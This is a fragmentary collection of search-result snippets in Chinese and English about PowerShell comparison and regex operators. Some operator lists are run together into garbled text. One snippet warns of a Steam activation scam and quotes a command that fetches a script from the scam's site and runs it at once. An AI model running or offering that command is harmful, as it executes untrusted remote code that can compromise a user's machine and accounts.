-match 符合指定的正則表達式 -notmatch 不符合指定的正則表達式 -contains 判斷集合是否包含指定的值 -notcontains 判斷集合是否不包含特定值 -in 判斷指定的值是否在集合中 -notin 判斷指定的值是否不在集合中 -replace 取代指定的值 正確使用大小寫的「PowerShell」等於小寫的「powershell」,這是使用 equals...
-notlike、 --inotlike-cnotlike字串不符合通配符模式 -match、、-imatch-cmatch- 字串符合 regex 模式 -notmatch、 --inotmatch-cnotmatch字串不符合 regex 模式 取代 -replace、-ireplace、-creplace- 取代符合 Regex 模式的字串 遏制 -contains、-icontains--ccontains集合包含值 -notcontains、-ino...
PowerShell 複製 $data = @('red','green','blue') if ( $data -eq 'green' ) { 'Green was found' } if ( $data -ne 'green' ) { 'And green was not found' } 當我們談論測試 $null時,我會重新審視這一點。-匹配運算子 -match 會嘗試比對集合中的每個專案。
Does Compare-Object return anything if there is an exact match? Does get-aduser with -select always truncate the fields? Does not working 100% of the time: Get-ADPrincipalGroupMembership : Directory object not found Does the Get-Disk funtion only return basic disks? Download and Install Power...
"Nov"-match"\bNov(ember)?\b"True"November"-match"\bNov(ember)?\b"True 如果你想使用多个可选的搜索词语,可以使用“或”操作符“|”: "Bob and Ted"-match"Alice|Bob"True 如果你想将搜索的词语和固定文本结合在一起,作为可选,仍然可以使用子表达式: ...
Use comparison operators (-eq,-ne,-gt,-lt,-le,-ge) to compare values and test conditions. For example, you can compare two string values to determine whether they're equal. The comparison operators also include operators that find or replace patterns in text. The (-match,-notmatch,-repla...
param($property, $operator = "eq", $matchText = "$true") Begin { $expression = "`$_.$property -$operator `"$matchText`"" } Process { if(Invoke-Expression $expression) { $_ } } RUN: PS C:Usersv-ylian> dir | E:2010OCSBookPowerShellWindows.PowerShell.CookbookPowerShellCookbook_Sa...
The containment and type operators always return a Boolean value The -replace operator returns the replacement result The -match and -notmatch operators also populate the $Matches automatic variable unless the left-hand side of the expression is a collection. Equality operators -eq and -ne W...
昨天发现一个Steam游戏假入库的骗局,骗局一般发生在某鱼某宝某多,基本都是用一个powershell脚本和一个假激活码骗你入库,严重会导致Steam账号封禁、红信,powershell脚本样子如下所示: irm steamcdk.run | iex …
$ScriptBlock= {Param([string]$line)if($line-match"^git") {return$false}else{return$true} }Set-PSReadLineOption-AddToHistoryHandler$ScriptBlock 如果命令以git开头,则 scriptblock 返回$false。 这与返回SkipAddingAddToHistory枚举的效果相同。 如果命令不以git开头,处理程序将返回$true,PSReadLine 会将命...